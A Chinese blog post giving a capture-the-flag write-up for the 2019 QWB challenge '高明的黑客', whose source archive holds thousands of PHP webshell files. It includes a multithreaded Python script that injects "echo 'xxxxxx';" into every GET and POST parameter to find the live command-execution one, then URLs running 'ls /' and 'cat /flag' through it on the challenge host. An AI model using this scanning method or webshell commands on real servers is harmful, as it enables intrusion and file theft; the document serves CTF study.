首页 > 其他分享 >[强网杯 2019]高明的黑客

[强网杯 2019]高明的黑客

时间:2024-04-06 23:55:05浏览次数:14  
标签:文件 req content 强网杯 flag 黑客 2019 xxxxxx time

[强网杯 2019]高明的黑客

pChVpTstUQGURcRz3y9N7VZtj5qeOAWV1v0wkFTX7iQ

按照提示下载了www.tar.gz这个文件,解压后发现有三千多个php文件

打开其中一个进行代码审计。

认真看这些文件都是 getshell 文件。能把传入的变量执行系统命令。

不过不可能都是有用的,随便打开几个会发现,传入的变量都变为空了,所以基本上无效。

hgmvCgc4jv7zfv5wS3bH7q1AZaqWGUxh4xOxxpO5WSk

编写 python 脚本寻找有用的 getshell 文件。

基本思想,将文件都执行一遍,所以需要 web 环境。

可以用 phpstudy 搭建 web 环境,将这些文件放在 www 根目录一个文件夹,遍历访问。

所以脚本需要遍历这些php文件,然后判断所有的参数是否可以执行。

import os
import requests
import re
import threading
import time
print('开始时间:  '+  time.asctime( time.localtime(time.time()) ))
s1=threading.Semaphore(100)                                            #这儿设置最大的线程数
filePath = r"D:/phpstudy_pro/WWW/src"                   #自己替换为文件所在目录
os.chdir(filePath)                                                    #改变当前的路径
requests.adapters.DEFAULT_RETRIES = 5                                #设置重连次数,防止线程数过高,断开连接
files = os.listdir(filePath)
session = requests.Session()
session.keep_alive = False                                             # 设置连接活跃状态为False
def get_content(file):
    s1.acquire()                                                
    print('trying   '+file+ '     '+ time.asctime( time.localtime(time.time()) ))
    with open(file,encoding='utf-8') as f:                            #打开php文件,提取所有的$_GET和$_POST的参数
            gets = list(re.findall('\$_GET\[\'(.*?)\'\]', f.read()))
            posts = list(re.findall('\$_POST\[\'(.*?)\'\]', f.read()))
    data = {}                                                        #所有的$_POST
    params = {}                                                        #所有的$_GET
    for m in gets:
        params[m] = "echo 'xxxxxx';"
    for n in posts:
        data[n] = "echo 'xxxxxx';"
    url = 'http://127.0.0.1/src/'+file                      #自己替换为本地url
    req = session.post(url, data=data, params=params)            #一次性请求所有的GET和POST
    req.close()                                                # 关闭请求  释放内存
    req.encoding = 'utf-8'
    content = req.text
    #print(content)
    if "xxxxxx" in content:                                    #如果发现有可以利用的参数,继续筛选出具体的参数
        flag = 0
        for a in gets:
            req = session.get(url+'?%s='%a+"echo 'xxxxxx';")
            content = req.text
            req.close()                                                # 关闭请求  释放内存
            if "xxxxxx" in content:
                flag = 1
                break
        if flag != 1:
            for b in posts:
                req = session.post(url, data={b:"echo 'xxxxxx';"})
                content = req.text
                req.close()                                                # 关闭请求  释放内存
                if "xxxxxx" in content:
                    break
        if flag == 1:                                                    #flag用来判断参数是GET还是POST,如果是GET,flag==1,则b未定义;如果是POST,flag为0,
            param = a
        else:
            param = b
        print('找到了利用文件: '+file+"  and 找到了利用的参数:%s" %param)
        print('结束时间:  ' + time.asctime(time.localtime(time.time())))
    s1.release()

for i in files:                                                            #加入多线程
   t = threading.Thread(target=get_content, args=(i,))
   t.start()

这是网上师傅们写的脚本,但是我这边跑会出现报错

ConnectionRefusedError: [WinError 10061] 由于目标计算机积极拒绝,无法连接。

网上查了查,可能是线程过多的问题,于是把脚本里的线程改为1,这个时候脚本可以正常跑了,但是速度很慢,好在正常执行完毕,找到了利用文件: xk0SzyKwfzw.php 和利用的参数:Efa5BVG

T2gY2_L-5fNKTZKOiLAtOZL0_osEbULYhtiA-xdddco

http://8b0fcedf-a754-42fa-920b-7095224044dc.node5.buuoj.cn:81/xk0SzyKwfzw.php?Efa5BVG=ls /

发现flag

Jl8EW3HIE3ke748tmtMmRKnEMVhSxu2EI5ZtxVPlp60

http://8b0fcedf-a754-42fa-920b-7095224044dc.node5.buuoj.cn:81/xk0SzyKwfzw.php?Efa5BVG=cat /flag

i5EugnfF8Cp9ivetC4LHfQ-B4MbRYm1In07_asMgbbs

标签:文件,req,content,强网杯,flag,黑客,2019,xxxxxx,time
From: https://www.cnblogs.com/fishjumpriver/p/18118216

相关文章

  • P6680 [CCO2019] Marshmallow Molecules 题解
    P6680题意一个\(n\)点\(m\)边的图,图无重边,无自环。满足这样一条性质:如果三边互不相等,则三边可以构成三角形。思路思路简单,用集合的思想来做。引用一下K0stlin大佬的性质:题目中的操作等价于将一个点大于某个儿子的儿子们赋给这个儿子(这里的儿子表示这个点有出边连向的......
  • [BSidesSF2019]zippy 1——压缩包密码就在眼前
    1.打开Wireshark对得到的流量进行分析,发现只有tcp流,随便点一个进行追击tcp流 2.发现里面有一个压缩包3.发文件放到kali里面进行分离  4.打开压缩包发现里面有一个加密文档,进行爆破,无果,于是重新去分析了开始的流量发现追击流中含有password,有点傻,以为password后面的flag......
  • P8687 [蓝桥杯 2019 省 A] 糖果
    原题链接题解二进制表示每包糖果包含的味道,因为有一种拼接的感觉,然后背包dp,注意这里每个材料不止只能取一个code#include<bits/stdc++.h>usingnamespacestd;intdp[1<<22]={0},candy[105]={0};constintinf=2e9;intmain(){intn,m,k;cin>>n>>m>>k;......
  • vulhub中Apache Solr 远程命令执行漏洞复现(CVE-2019-0193)
    ApacheSolr是一个开源的搜索服务器。Solr使用Java语言开发,主要基于HTTP和ApacheLucene实现。此次漏洞出现在ApacheSolr的DataImportHandler,该模块是一个可选但常用的模块,用于从数据库和其他源中提取数据。它具有一个功能,其中所有的DIH配置都可以通过外部请求的dataC......
  • 黑客(网络安全)技术自学——高效学习
    01什么是网络安全网络安全可以基于攻击和防御视角来分类,我们经常听到的“红队”、“渗透测试”等就是研究攻击技术,而“蓝队”、“安全运营”、“安全运维”则研究防御技术。无论网络、Web、移动、桌面、云等哪个领域,都有攻与防两面性,例如Web安全技术,既有Web渗透,也有W......
  • 程序员都能当黑客吗?IT男、码农和程序猿有啥区别?
    前言程序员是程序员,黑客是黑客,不能混为一谈。黑客就是找漏洞,利用漏洞达到自己的目的,这种漏洞用到的技术就很多了。IT相关从业者被认为目前最高薪的职业之一,他们的工作方式看似相同实际存在很多分支,今天就来跟大家讲讲程序员、码农、IT男、和黑客。程序员都能当黑客吗?程......
  • 自学黑客(网络安全),一般人我劝你还是算了吧
    一、自学网络安全学习的误区和陷阱1.不要试图先成为一名程序员(以编程为基础的学习)再开始学习我在之前的回答中,我都一再强调不要以编程为基础再开始学习网络安全,一般来说,学习编程不但学习周期长,而且实际向安全过渡后可用到的关键知识并不多一般人如果想要把编程学好再开始......
  • 【洛谷 P8695】[蓝桥杯 2019 国 AC] 轨道炮 题解(映射+模拟+暴力枚举+桶排序)
    [蓝桥杯2019国AC]轨道炮题目描述小明在玩一款战争游戏。地图上一共有NNN个敌方单位,可以看作2D平面上的点。其中第i......
  • 【洛谷 P8700】[蓝桥杯 2019 国 B] 解谜游戏 题解(字符串+映射+周期性)
    [蓝桥杯2019国B]解谜游戏题目背景题目描述小明正在玩一款解谜游戏。谜题由242424根塑料棒组成,其中黄色塑料棒4......
  • 鱼哥赠书活动第16期:看完这篇《权限提升技术》成为黑客提权大神!!!
    鱼哥赠书活动第16期:看完这篇《权限提升技术》成为黑客提权大神!!!赠书抽奖规则:往期赠书福利:网络安全已经成为当今社会非常重要的话题,尤其是近几年来,我们目睹了越来越多的网络攻击事件,例如公民个人信息泄露,企业遭受蠕虫病毒、勒索病毒的攻击等。这些事件不仅给个人和企......